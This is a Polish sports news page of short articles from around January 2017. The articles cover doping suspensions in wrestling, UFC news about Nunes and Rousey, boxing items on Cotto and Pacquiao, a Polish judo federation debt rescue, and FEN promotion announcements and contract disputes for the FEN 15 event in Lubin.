Każdy wybryk spotka kara, jednak nie brakuje zawodników, którzy liczą na łut szczęścia. Wierzą, że kontrole antydopingowe ich ominą, a cały proceder uda się utrzymać w tajemnicy. Niedozwolone środki zniszczyły kolarstwo i legendę Lance'a Armstronga. Również w lekkoatletyce nie brakowało skandali dopingowych. W okresie zimowym warto przywołać również historię biegaczki Therese Johaug. Norweżkę przyłapano na stosowaniu sterydu anaboliczngo clostebolu. Specyfik znajdował się w kremie, który stosowała zawodniczki. Ze łzami w oczach Johaug tłumaczyła, że o niczym nie miała pojęcia i zaufała lekarzowi, który pozwolił jej używać maść.

Styczeń nie najlepiej rozpoczął się dla Bashira Asgariego Babajanzadeha z Iranu i Zubairu Dibirova z Azerbejdżanu. Międzynarodowa Federacja Zapaśnicza zawiesiła zawodników na cztery lata za naruszenie polityki antydopingowej. 27-letni Babajanzadeh startujący w wadze ciężkiej w stylu klasycznym ma za sobą występy w igrzyskach olimpijskich w Londynie i Rio de Janeiro. W Brazylii Irańczyk odpadł w ćwierćfinale z Eduardem Poppem. Babajanzadeh miał pozytywny wynik testosteronu przed majowym Pucharem Świata w Shiraz. Zawody skończyły się triumfem reprezentacji Iranu. Początkowa radość 27-latka przerodziła się w końcu w smutek i łzy. Babajanzadeh nie zdecydował się na zbadanie próbki B. Decyzja światowych władz była jednoznaczna: zawieszenie. Irańczyk otrzymał zakaz startów do 31 sierpnia 2020 roku. 

Kara dotknęła również Zubaira Dibirova. Zapaśnik z Azerbejdżanu miał pozytywny wynik stanozololu w organizmie podczas wrześniowych młodzieżowych mistrzostw świata w Macon. Dibirov również nie poddał się badaniu próbki B i został zawieszony na cztery lata. Zakaz będzie trwał do 4 października 2020 roku.

Przekreślone marzenia

W lipcu 2016 roku z marzeniami o występie w Igrzyskach Olimpijskich w Rio de Janeiro musiał pożegnać się Vinod Kumar. 30-latek reprezentujący Australię miał pozytywny wynik testu dopingowego podczas kwalifikacji kontynentalnych w Algierii. Wynik próbki B był również pozytywny.

Kolejne afera w zapasach wybuchła w sierpniu. Narsingh Yadav przygotowywał się do startu w Rio w kategorii do 74kg w stylu wolnym, jednak dzień przed startem został wyrzucony z indyjskiej kadry. W organizmie zawodnika wykryto metandienon. Yadav tłumaczył, że specyfik znajdował się w żywności. Hinduska Agencja Dopingowa uwierzyła zapaśnikowi, jednak Światowa Agencja Dopingowa była innego zdania i wykluczyła zawodnika ze startu.

KM

Conor McGregor w wersji kobiecej?

Conor McGregor jest najbardziej rozpoznawalną twarzą UFC. Irlandczyk umie zrobić wokół siebie zamieszanie, a w klatce poskramia kolejnych rywali. McGregor stał się punktem odniesienia dla Amandy Nunes. Mistrzyni UFC w wadze koguciej zamierza przeprowadzić atak na kolejny pas.

Do niedawna pierwsze skrzypce w amerykańskiej organizacji grała Ronda Rousey. Czas jej panowania dobiegł końca i popularna „Rowdy” dała sobie czas na przemyślenia. Czy miejsce Rousey na stałe zajmie Amanda Nunes? 

Myśli o kolejnym pasie

9 lipca na długo zostanie w pamięci Nunes. Na gali UFC 200 Brazylijka stanęła do rywalizacji z Mieshą Tate, która w swoich dłoniach dzierżyła pas mistrzowski kategorii koguciej. Amerykanka uchodziła za faworytkę starcia, jednak żywiołowa, pełna energii i niezwykle szybka Nunes w mgnieniu oka wypracowała sobie przewagę nad posiadaczką tytułu. Tate już w pierwszej rundzie musiała odklepać. Po nieco ponad trzech minutach walki Nunes znalazła się za plecami mistrzyni i perfekcyjnym duszeniem zza pleców zapewniła sobie triumf.

Specjalizująca się w judo i jiu-jitsu 27-latka w pierwszej obronie pasa miała zmierzyć się z Rondą Rousey. „Rowdy” straciła tytuł w listopadzie 2015 roku na rzec Holly Holm. W kolejnych miesiącach pas przechodził z rąk do rąk. Holm szybko straciła panowanie na rzecz Tate, a ta w pierwszej obronie uległa Nunes. Wydawało się, że Amerykanka ma szansę wrócić w wielkim stylu i sięgnąć po pas, jednak Nunes szybko wybiła jej te myśli z głowy. Od początku pojedynku Brazylijka ruszyła na byłą mistrzynię UFC i konsekwentnie rozbijała ją ciosami. W końcu wkroczył sędzia, który przerwał walkę.

Nunes obroniła pas, ale myśli o pobiciu nowej kategorii. Włodarze organizacji UFC utworzyli wagę piórkową, która stała się celem Brazylijki. Ta nie ukrywa, że chciałaby iść drogą McGregora. Irlandczyk jest posiadaczem dwóch pasów: w wadze lekkiej i piórkowej. – Rozważam walkę o pas kategorii piórkowej. Może będę miała dwa tytuły tak jak Conor McGregor – powiedziała mistrzyni wagi koguciej, ale zaznacza, że myśli o krótkiej przerwie. – Chcę trochę odpocząć, jednak czekam na starcie o pas kategorii piórkowej – dodała.

Szykuje się do zmiany

Rafael dos Anjos chce spróbować sił w wyżej kategorii wagowej. Były mistrz wagi lekkiej chce startować w kategorii średniej. 

W lipcu dos Anjos stracił pas kategorii lekkiej na rzecz Eddiego Alvareza. 32-latek podkreśla, że w ostatnim czasie miał problem z osiągnięciem wagi i zdecydował się podjąć kolejne wyzwania. Po dwóch porażka zamienia kategorię lekką na średnią. – Zdecydowałem się zacząć 2017 rok z nowymi wyzwaniami – wyjaśnił dos Anjos.

Fot. sherdog.com

KM

Były mistrz KSW Aslambek S. skazany za wymuszanie haraczy!

Przed sądem Rejonowym w Olsztynie zapadł wyrok w "procesie zawodników MMA" dotyczący dwóch Polaków i dwóch Czeczenów. Aslambek S., były mistrz organizacji KSW, został skazany na 10 miesięcy w zawieszeniu na 3 lata. Zawodnik MMA rozważa odwołanie od wyroku.

Aslambek S. w sierpniu 2014 roku został wraz z czterema innymi osobami zatrzymany przez Centralne Biuro Śledcze. Funkcjonariusze CBŚ zatrzymali go pod zarzutem działania w zorganizowanej grupie przestępczej – zarzucane im czyny to m.in. przestępstwa związane z wymuszaniem haraczy, groźbami karalnymi i pobiciami.

Wszystkich czterech oskarżonych, m.in. o nielegalne odzyskiwanie długów, otrzymało wyroki w zawieszeniu. Piotr P. i Michał Sz. (były mistrz PLMMA w wadze średniej) zostali skazani na 2 lata więzienia w zawieszeniu na 5 lat i dozór kuratora. Aslan A. usłyszał wyrok 1,5 roku więzienia w zawieszeniu na 3 lata, a Aslambek S. – 10 miesięcy w zawieszeniu na 3 lata. Obaj wymienieni na końcu również otrzymali dozór kuratora.

Sąd w Olsztynie przy ogłaszaniu wyroku podkreślił, że w Olsztynie nie istnieje żaden gang Czeczenów, ani wymuszenia haraczy. Aslambek S. rozważa odwołanie od wyroku.

Źródło: PolsatSport

Cotto chce zejść z ringu

Kilka miesięcy temu Miguel Cotto zapowiedział, że w 2017 roku zamierza zakończyć karierę bokserską. 25 lutego wybitny portorykański pięściarz zmierzy się z Jamesem Kirklandem. Czy będzie to ostatni pojedynek byłego mistrza WBC wagi średniej?

Bogata, pełna sukcesów kariera sprawiła, że Cotto stał się marką rozpoznawalną na całym świecie. Portorykańczyk prezentował się w ringu efektownie, czym zaskarbił sobie sympatię tłumów. Trudno sobie wyobrazić, że niebawem jego starcia pozostaną tylko i wyłącznie wspomnieniem.

Rodzina jest najważniejsza

W listopadzie ubiegłego roku „Juanito” oświadczył, że w ramach kontraktu z Roc Nation musi stoczyć jeszcze jedną walkę. Od razu ruszyła giełda nazwisk, na której pojawili się m. in. Juan Manuel Marquez, Timothy Bradley czy Saul Alvarez. Temperatura wzrosła, gdyż Cotto zaznaczył, że w 2017 roku pożegna się z ringiem. 

25 lutego Cotto w Ford Center at The Star w Frisco zmierzy się z Jamesem Kirklandem, ale nie musi to być ostatni pojedynek w karierze Portorykańczyka. Bokser nie wykluczył, że stoczy w tym roku jeszcze jedną walkę. Nie zmienił jednak stanowiska, co do zakończenia kariery. Cotto podjął decyzję, że nadszedł właściwy czas, aby powiedzieć „dość” i oddać się w całości rodzinnie. –  Podstawowy powód mojego odejścia to rodzina. Boks pozwolił mi dać moim dzieciom to, co najlepsze. W przypadku mojej emerytury interesuje mnie tylko zdanie moich bliskich – powiedział Cotto. 

Zatem Cotto ma jeszcze półtora miesiąca, żeby jak najlepiej przygotować się do starcia z Kirklandem. Dla obu będzie to powrót po dłuższej nieobecności. Co warte uwagi, Cotto i Kirkland w ostatnich starciach ponieśli porażki z rąk Saula Alvareza. Portorykańczyk rywalizował z Meksykaninem w listopadzie 2015 roku, a Amerykanin pół roku wcześniej. 

Bogata kariera

Przez ponad dziesięć lat Cotto utrzymywał się na bokserskim szczycie. We wrześniu 2004 roku zdobył pierwszy tytuł w karierze. Przez techniczny nokaut w szóstej rundzie pokonał Brazylijczyka Kelsona Pinto i sięgnął po pas WBO w kategorii junior półśredniej.

W kolejnych latach kariera Cotto nabierała rozpędu. Portorykańczyk dobrze radził sobie w wyższych kategoriach wagowych. W grudniu 2006 roku wywalczył pas WBA wagi półśredniej. Trzy lata później dołożył tytuł WBO. W swojej kolekcji miał również pas WBA w kategorii lekkośredniej oraz WBC w kategorii średniej. 

Mierzący 170 cm bokser zawsze imponował szybkością i efektownością. 7 czerwca 2014 roku wszedł do ringu z Sergio Martinezem o pas WBC w wadze średniej. Faworytem starcia był Argentyńczyk, który warunkami fizycznymi przewyższał Cotto. Portorykańczyk już w pierwszej rundzie pokazał charakter i Martinez trzy raz lądował na deskach!

21 listopada 2015 przegrał z Saulem Alvarezem. Stawką pojedynku był pas mistrza świata WBC w wadze średniej. Cotto zdawał sobie sprawę z atutów rywala i unikał wymian, miał również przewagę szybkości nad Meksykaninem. Jednogłośnie na punkty wygrał Alvarez, co wzbudziło spore kontrowersje. Teraz 36-latek zapewnia, że w starciu z Kirklandem da z siebie wszystko. Zwycięstwo będzie pięknym ukoronowaniem jego kariery.

Fot. zdjęcie poglądowe

KM  

Komunikat ws. kary finansowej dla Romana Szymańskiego

Federacja Fight Exclusive Night informuje o nałożeniu na Romana Szymańskiego kary pieniężnej w związku z naruszeniem przez zawodnika obowiązującej go umowy zawartej z organizacją FEN. Poniżej publikujemy pełną treść komunikatu  zarządu FEN w tej sprawie.

„Po dokładnym przeanalizowaniu zaistniałej sytuacji oraz postanowień umowy zawartej przez federację Fight Exclusive Night z Romanem Szymańskim, Zarząd FEN podjął decyzję o nałożeniu na zawodnika kary umownej w wysokości 60 tysięcy złotych, która jest konsekwencją wzięcia przez niego udziału w gali KSW 37 w dniu 3 grudnia 2016 roku w Krakowie. Kara wynika z naruszenia przez zawodnika paragrafu 14 umowy, mówiącego o zakazie uczestniczenia w wydarzeniach sportowych organizowanych przez podmioty inne niż federacja Fight Exclusive Night bez zgody Zarządu FEN:

„§ 14 Umowy: Zawodnik nie może brać udziału w żadnym współzawodnictwie sportowym zawierającym element walki, bez względu na jego formę i miejsce, na 4 tygodnie przed każdą Galą oraz zobowiązuje się nie uczestniczyć w żadnym wyżej opisanym współzawodnictwie, bez względu na jego formułę, miejsce i termin, w czasie obowiązywania niniejszej umowy bez uzyskania pisemnej zgody Organizatora”.

Jednocześnie Zarząd FEN informuje, że kara będzie nakładana na zawodnika po każdym kolejnym naruszeniu postanowień umowy poprzez uczestnictwo zawodnika w wydarzeniach organizowanych przez inne podmioty, a także w przypadku, gdy zawodnik odmówi wzięcia udziału w zawodach organizowanych przez Fight Exclusive Night”.

FEN

FEN 15 Final Strike: official trailer

Fight Exclusive Night od mocnego uderzenia rozpoczyna rok 2017! Zobaczcie oficjalną zapowiedź gali FEN 15 Final Strike, 14 stycznia w lubińskiej hali RCS, podczas której o pasy organizacji FEN walczyć będą mistrzowie świata i Europy!

Najważniejszymi wydarzeniami gali FEN 15 Final Strike będą dwie walki o tytuły mistrzów federacji Fight Exclusive Night w formule K-1, w których zmierzą się kickbokserzy zaliczani do światowej czołówki: Róża Gumienna i Martina Fendrichova oraz Paweł Biszczak i Wojciech Wierzbicki. Z kolei na zasadach MMA 14 stycznia w hai RCS w Lubinie walczyć będą największe gwiazdy organizacji, najlepsi zawodnicy dolnośląskich klubów oraz świetni fighterzy z zagranicy, m.in. Marcin Zontek z Francuzem Boubacarem Balde, Kamil Gniadek z Michałem Michalskim, Albert Odzimkowski z Oskarem Somerfeldem i Amerykanin Matt Horwich z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

[kod]

Czas na przemyślenia

Dwa lata temu Ronda Rousey przygotowywała się do kolejnej obrony mistrzowskiego pasa UFC w kategorii koguciej. 28 lutego w zaledwie czternaście sekund rozprawiła się z Cat Zingano. Teraz 29-latka znajduje się w zupełnie innym miejscu. Potrzebuje czasu, aby zastanowić się nad swoją przyszłością.

Wejść na szczyt jest łatwo, trudniej się na nim utrzymać, a upadek bywa bolesny. Ronda Rousey odczuła to na własnej skórze.

Powrót i porażka

Po udanej przygodzie z organizację Strikeforce, Rousey trafiła do UFC. Szybko stała się gwiazdą najlepszej organizacji MMA na świecie. Jej walki były widowiskowe, emocjonujące i… szybkie. Amerykanka potrafiła rozprawić się z rywalką w mniej niż dwadzieścia sekund! Stała się motorem napędowym UFC i ulubienicą Dana White. Wszystko było jak w bajce. Brązowa medalistka igrzysk olimpijskich w Pekinie w judo stała się gwiazdą MMA.

Wydawało się, że nikt jej nie zatrzyma. Była niepokonana, a kolejne walki rozstrzygała na swoją korzyść niczym błyskawica i ani razu nie walczyła na pełnym dystansie. Pierwszy szok świat MMA przeżył 14 listopada 2015 roku. W kolejnej obronie mistrzowskiego pasa Rousey zmierzyła się z Holly Holm. Była mistrzyni boksu nie pozwoliła „Rowdy” rozwinąć skrzydeł. W drugiej rundzie Holm wyprowadziła wysokie kopnięcie i znokautowała rywalkę. Po porażce Rousey zniknęła i zajęła się sobą. Przede wszystkim leczyła kontuzję, ale ciągle myślała o powrocie. Również Dan White wiedział, że będzie to wielkie wydarzenie. Powrót Rousey do rywalizacji zaplanowano 30 grudnia 2016 roku.

Pojawiła się w klatce po ponad roku przerwy. Od razu dostała szansę na odzyskanie mistrzowskiego tytułu, ale już z rąk Amandy Nunes. Brazylijka nie oddała pasa zdobytego w walce z Mieshą Tate. Nunes, tak jak kiedyś Rousey, szybko załatwiła sprawę. Konsekwentnie rozbijała prawym rywalkę i w końcu sędzia przerwał pojedynek. Dramat Rousey, która teraz musi wszystko przemyśleć i podjąć decyzję, co dalej.

Zamknęła się w sobie

Dla amerykańskiej fighterki to ogromny cios. Przegrała drugą walkę w karierze i należy dodać, że była to porażka poniesiona w fatalnym stylu.

Rousey unikała kamer i zwierzeń, jednak w końcu wydała oświadczenie. – Bywa, że mimo przygotowań i tego, że dajesz z siebie wszystko i pragniesz czegoś tak mocno, to nie musi to pójść zgodnie z planem – napisała.

„Rowdy” musi spojrzeć na wszystko z dystansu. – Potrzebuję wziąć trochę czasu wolnego, żeby to wszystko przemyśleć i zastanowić się nad przyszłością. Dziękuję wam za wiarę we mnie i zrozumienie – przedstawiła amerykańska zawodniczka.

Za walkę z Nunes, Rousey zgarnęła 3 miliony dolarów. Była mistrzyni UFC nadal jest mocnym nazwiskiem w kobiecym MMA. Pytanie, czy będzie potrafiła unieść psychicznie ostatnią porażkę i wrócić do dalszej rywalizacji. 

KM

Komunikat federacji FEN ws. oświadczenia Tyberiusza Kowalczyka

W odpowiedzi na opublikowane na Facebooku oświadczenie Tyberiusza Kowalczyka o zakończeniu współpracy z federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z oświadczeniem Tyberiusza Kowalczyka, zamieszczonym w dniu 30 grudnia 2016 roku na oficjalnym profilu zawodnika na Facebooku, informującym o zakończeniu przez niego współpracy z organizacją Fight Exclusive Night, oświadczamy, iż jest on nadal zawodnikiem naszej federacji i jego udział w walkach dla jakiejkolwiek innej organizacji będzie rażącym naruszeniem postanowień obowiązującego go kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night”

FEN

Wysokie żądania finansowe Pacquiao

Manny Pacquaio przymierza się do kolejnego wyzwania. Coraz głośniej mówi się o starciu boksera z Filipin z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem. Pacquiao jest gotowy wejść na ring, ale stawia warunki. Na stole musi pojawić się 20 milionów dolarów.

38-letni „Pacman” nie wytrzymał zbyt długo bez boksu. Postanowił zakończyć karierę po kwietniowej wygranej z Timothy'm Bradley'em, ale już w listopadzie ponownie pojawił się w ringu. Doświadczony Pacquiao pokonał Jessiego Vargasa i sięgnął po pas mistrza świata WBO wagi półśredniej.

Kasa musi się zgadzać

Mówi się, że „pieniądze szczęścia nie dają”, jednak pustka w portfelu nie jest niczym przyjemnym. Pamiętacie polską komedię „Pieniądze to nie wszystko”? Jeden z bohaterów, mający poetyckie inklinacje Rysio wymyślił hasło, które miało zagrzewać do pracy w wytwórni płynów wysokoprocentowych i umieścił je na budynku. Brzmiało mniej więcej tak: „Piniondze to nie fszysko, ale fszysko bez piniendzy to h..” (pisownia oryginalna).

Także po materialnym wprowadzeniu przyszedł czas na bokserskie konkrety. Nie da się ukryć, że gaża jest jednym z ważniejszych elementów show jakim jest walka. Doświadczony Manny Pacquiao w obliczu kolejnego wyzwania chce zadbać o sowitą zapłatę. 38-latek miałby zmierzyć się z Terencem Crawfordem i liczy na minimum 20 milionów dolarów. – Jeśli Top Rank, chce dla Manny Pacquiao walki z Crawfordem, to możemy ją zorganizować. Chcemy jednak gwarancję 20 milionów dolarów – powiedział amerykańskim mediom Mike Koncz, doradca pięściarza z Filipin.

Za poprzednią walkę Pacquiao zgarnął „tylko” 4 miliony dolarów. W listopadzie pokonał Jessiego Vargasa, ale teraz miałby zmierzyć się z mocniejszym rywalem. Oczywiste więc, że Pacquiao chce zdecydowanie większej gaży. Tym samym 38-latek zasygnalizował gotowość do podjęcia wyzwania. Pojawiły się już głosy, że dla „Pacmana” może to być ostatni wielki pojedynek. 29-letni Crawford to posiadacz dwóch mistrzowskich pasów, który w zawodowej karierze jeszcze nigdy nie przegrał.

Kiedy walka?

Wszystko jest do ustalenia. Wiadomo, że Pacquiao karierę bokserską musi łączyć z obowiązkami… senatora Filipin. Izba parlamentu kończy pracę w połowie marca, więc walka możliwa byłaby dopiero na wiosnę. Wszystko jest kwestią porozumienia między przedstawicielami obu stron. Z pewnością będzie to o tyle łatwiejsze, że Pacquiao i Crawford są promowani przez Top Rank.

Warto również wspomnieć o problemach mistrza kategorii junior półśredniej federacji WBC i WBO. W grudniu Crawford został skazany na dwa miesiące więzienia. Kara jest pokłosiem kłótni z właścicielem warsztatu samochodowego i uszkodzenia w nim podnośnika hydraulicznego. Zdarzenie miało miejsce w kwietniu ubiegłego roku.

Ostatnią walkę Crawford stoczył 10 grudnia. Pokonał przed czasem Johna Molinę Juniora.

KM

800 tys. zł uratowało związek

Ostatnie dni 2016 roku były niezwykle gorące dla Polskiego Związku Judo. Wszystko przez problemy finansowe. Rzutem na taśmę udało się uregulować zaległości wobec Ministerstwa Sportu i Turystyki.

Polskie judo czeka na sukces i rozgłos. W grudniu za sterami Polskiego Związku Judo zasiadł Jacek Zawadka, który w II turze wyborów zmierzył się z Krzysztofem Wiłkomirskim. Były zawodnik Gwardii Warszawa wygrał różnicą dziewięciu głosów (119:110). W pierwszych dniach swojej pracy musiał stawić czoła wyzwaniom oraz wykazać się skutecznością.

Brak kasy

Po zwycięskich wyborach Jacek Zawadka wystosował otwarty list, w którym podziękował wszystkim za zaufanie i zachęcał do wspólnego działania na rzecz rozwoju polskiego judo. Zasygnalizował także problem natury finansowej. – Wstępna analiza matematyczna (potrzeba jeszcze księgowej) wskazuje na brak około 900 tysięcy złotych w kasie (dokładne informacje podamy wkrótce). Tę kwotę PZJudo musi spłacić do końca roku. Oznacza to, że na procedury, ukonstytuowanie zarządu, zaciągnięcie nowej pożyczki (i znalezienie pożyczkodawcy!) mamy jedynie kilka dni. To wyzwanie, któremu należy sprostać – napisał Zawadka.

Było to 20 grudnia, a więc w Polskim Związku Judo musiało być gorąco. Dwa dni później odbyło się zebranie, podczas którego wyłoniono zarząd na kadencję 2016-2020. Wiceprezesami PZJ zostali Cezary Borzęcki (sprawy sportowe) oraz Juliusz Kowalczyk (sprawy organizacyjne). Andrzej Falkiewicz będzie piastował funkcję sekretarza. Członkami zarządu zostali: Jacek Biernat, Tomasz Gadaj, Andrzej Jasiński, Józef Popek, Zenon Mościński, Adam Poździk i Mariusz Radziewski.

Podczas zebrania zarządu podjęto dwie istotne uchwały, które pomogły uporać się ze zobowiązaniami wobec ministerstwa. Włodarze zdecydowali się na zaciągnięcie pożyczek. 490 tys. zł pochodzi z Funduszu PAFPIO. – Dopełnienia formalności związanych z podpisaniem umowy pożyczki i weksla in blanco stanowiącego zabezpieczenie spłaty pożyczki powierza się Prezesowi Polskiego Związku Judo p. Jackowi Zawadce oraz następującym członkom zarządu: p. Cezaremu Borzęckiemu i p. Mariuszowi Radziewskiemu – czytamy w uchwale 3/1/2016, nad którą głosowało 10 członków zarządu i wszyscy byli jednomyślni. Związek zaciągnął również pożyczkę w klubie Czarni Bytom na kwotę 460 tys. zł. W tym przypadku również wszyscy głosujący byli „za”.

Udało się

Problemy zostały zażegnane. – W dniu 30 grudnia 2016 r. udało nam się uratować Polski Związek Judo przed likwidacją. Wszystkie płatności wynikające z umów zawartych z MSiT w kwocie 805.000 zł zostały w terminie opłacone – poinformował Jacek Zawadka.

Jednocześnie prezes PZJudo wyraził nadzieję, że kolejne miesiące będą lepsza, a ciężka praca wyda owoce. – Wiemy, że nadchodzący 2017 rok będzie dla nas bardzo wymagający, ale wierzymy, że wspólne działania doprowadzą nas do sukcesów. Proszę raz jeszcze o cierpliwość w realizacji naszego programu, którego pozytywne skutki odczujemy już w niedalekiej przyszłości, a przyjęta strategia rozwoju naszego związku, pozwoli w sposób mądry wydatkować dotacyjne finanse – przedstawił Zawadka.

KM

Róża Gumienna vs Martina Fendrichova w walce o pas na FEN 15 Final Strike

Prawdziwa kickbokserska wojna czeka kibiców w pierwszej w historii kobiecej walce o pas mistrzowski organizacji Fight Exclusive Night! Róży Gumiennej, gwieździe federacji i multimedalistce mistrzostw Polski, Europy i świata, 14 stycznia podczas gali FEN 15 Final Strike w Lubinie stawi bowiem czoła utytułowana, równie twardo i ofensywnie walcząca Martina Fendrichova z Czech.

Róża Gumienna na walkę o tytuł mistrzyni Fight Exclusive Night w K-1 zapracowała trzema świetnymi, zwycięskimi występami w klatkoringu tej organizacji. Debiutowała w marcu 2015 roku, pokonując na gali FEN 6 Showtime Veronikę Cmarovą ze Słowacji, pół roku później na gali FEN 9 Go For It wygrała pojedynek z Katarzyną Posiadałą, a latem ubiegłego roku podczas FEN 13 Summer Edition zwyciężyła Kamilę Bałandę.

Do walki z Martiną Fendrichovą zawodniczka Punchera Wrocław przystąpi jako aktualna wicemistrzyni Europy WAKO w K-1. Na swoim koncie podopieczna Janusza Jankowskiego, oprócz seryjnie zdobywanych tytuł mistrzyni Polski, ma także pas mistrzyni świata WAKO w formule low-kick z 2013 roku, zdobyty w tym samym roku Puchar Świata w low-kick oraz wywalczony rok później Puchar Świata w K-1 i brązowy medal mistrzostw Europy w K-1.

Martina Fendrichova, aktualna mistrzyni Europy WAKO w formule kick-light, to jedna z najlepszych zawodniczek kick-boxingu na Starym Kontynencie. Dorobek medalowy Czeszki jest imponujący – ma na swoim koncie m.in. brązowy medal mistrzostw świata WAKO w K-1, tytuły mistrzyni świata WKA w K-1 i full contact oraz pasy mistrzyni Europy WKF w K-1 i full contact. Dwukrotnie stawała do walki o tytuł zawodowej mistrzyni świata, jednak pasa nie udało jej się zdobyć.

Zawodniczka klubu Iron Fighters Kickboxing z Liberca, która na gali Fen 15 Final Strike po raz pierwszy wystąpi w klatkoringu Fight Exclusive Night, trenuje pod okiem Aloisa Skerika, głównego trenera reprezentacji Czech.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Róży Gumiennej i Martiny Fendrichovej są jeszcze dwie inne walki w formule K-1. W karcie wstępnej zmierzą się Eliasz Jankowski z Wojciechem Kazieczko, a w walce wieczoru o pas mistrzowski walczyć będą Paweł Biszczak i Wojciech Wierzbicki. Kibiców czeka również sześć walk na zasadach MMA, m.in. Marcina Zontka z Francuzem Boubacarem Balde, Kamila Gniadka z Michałem Michalskim, Alberta Odzimkowskiego z Oskarem Somerfeldem i Amerykanina Matta Horwicha z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Rodrigo kontra Chińczyk w karcie walk FEN 15 FinalStrike

Federacja Fight Exclusive Night ogłosiła nazwisko zawodnika, z którym 14 stycznia na gali FEN 15 FinalStrike w Lubinie zmierzy się Adam Golonkiewicz z NextLevel BJJ Opole. Będzie nim powracający do MMA po dłuższej przerwie reprezentant Berserker’s Team Szczecin Mateusz „Chińczyk” Rębecki.

Dla 24-letniego Mateusza Rębeckiego (4-1) będzie to piąta zawodowa walka MMA w karierze, ale pierwsza po blisko półtorarocznej przerwie. Ostatni raz „Chińczyk” walczył w sierpniu 2015 roku na gali FEN 8 Summer Edition, w debiucie dla organizacji Fight Exclusive Night poddając w pierwszej rundzie Jacka Krefta. Od tego momentu utalentowany zawodnik Berserker’s Team Szczecin intensywnie trenował i startował w zawodach w ju-jitsu ne-waza. Jako reprezentant Polski w tej formule brał udział w turniejach eliminacyjnych oraz w turnieju finałowym mistrzostw świata, w którym w listopadzie we Wrocławiu zajął ostatecznie czwarte miejsce w kategorii do 77 kg. Wcześniej fighter z Gryfic został także podwójnym mistrzem Polski ADCC w submission fighting i zdobył wicemistrzostwo kraju w brazylijskim ju-jitsu w kategorii niebieskich pasów.

26-letni Adam Golonkiewicz (11-9), który wywodzi się z brazylijskiego ju-jitsu, na styczniowej gali FEN 15 FinalStrike po raz czwarty wejdzie do klatkoringu Fight ExclusiveNight. „Rodrigo” w swoim debiucie na FEN 9 Go For It wspólnie z Romanem Szymańskim zafundował publiczności we Wrocławiu wielkie widowisko, nagrodzone Heraklesem za Najlepszą Walkę Roku 2015. Po tym znakomitym pojedynku, w którym sędziowie dość kontrowersyjnie za zwycięzcę uznali jego rywala, Golonkiewicz przegrał także na kolejnej gali, ulegając w pierwszej rundzie Jackowi Kreftowi. Zaufanie kibiców i włodarzy federacji odzyskał jednak szybkim, efektownym zwycięstwem przez TKO nad Albańczykiem z włoskim paszportem Elio Caiaffą podczas FEN 12 Feel The Force. Wcześniej wychowanek Damiana Grabowskiego na zawodowych arenach wygrywał m.in. z Kamilem Łebkowskim i Bartłomiejem Kurczewskim.

14 stycznia w Lubinie kibice obejrzą jeszcze kilka innych emocjonujących pojedynków na zasadach MMA, m.in. Amerykanina Matt Horwicha z Filipem TomczakiemAlberta Odzimkowskiego z Oskarem SomerfeldemMichała Michalskiego Kamilem Gniadkiem i Mateusza Głąba zMichałem Miłkiem. Wydarzeniem gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Balde rywalem Zontka na gali FEN 15 Final Strike

Marcin Zontek, który na gali FEN 15 Final Strike po raz pierwszy od walki o pas z Przemysławem Mysialą wejdzie do klatkoringu Fight Exclusive Night, poznał nazwisko swego przeciwnika. 14 stycznia w Lubinie niedawny pretendent do tytułu mistrza FEN wagi półciężkiej zmierzy się z francuskim mistrzem nokautu Boubacarem Balde.

39-letni Boubacar Balde to obdarzony nieprzeciętnie silnym ciosem, agresywnie i widowiskowo walczący zawodnik, który zawsze dąży do zakończenia walki przed czasem. Reprezentant znanego paryskiego klubu MMA Factory nieprzypadkowo nosi przydomek „Blackout” – dziesięć z dwunastu swoich zawodowych zwycięstw odniósł przed kończącym pojedynek gongiem, aż ośmiokrotnie nokautując swoich rywali. 

Zanim Boubacar Balde stał się jednym z najbardziej rozpoznawalnych francuskich fighterów MMA, sukcesy sportowe odnosił w futbolu amerykańskim, zdobywając w latach 2000 i 2003 tytuły mistrza Francji z zespołem Flash de La Courneuve. Jednocześnie trenował także boks, w którym w 2007 roku sięgnął po pas mistrza Paryża w kategorii do 91 kg, a później zainteresował się boksem tajskim i pankrationem, aby ostatecznie skoncentrować się na mieszanych sztukach walki. 

Od 2011 roku „Blackout” stoczył 22 zawodowe pojedynki, początkowo walcząc głównie dla najważniejszej francuskiej organizacji 100% Fight. Spektakularne zwycięstwa na galach tej federacji otworzyły mu drogę do występów w oktagonie brytyjskiej organizacji Cage Warriors oraz rosyjskiej ProFC. Obecnie Balde ma na swoim koncie 12 zwycięstw oraz 10 porażek. Walka na gali FEN 15 Final Strike będzie jego pierwszym występem w Polsce. 

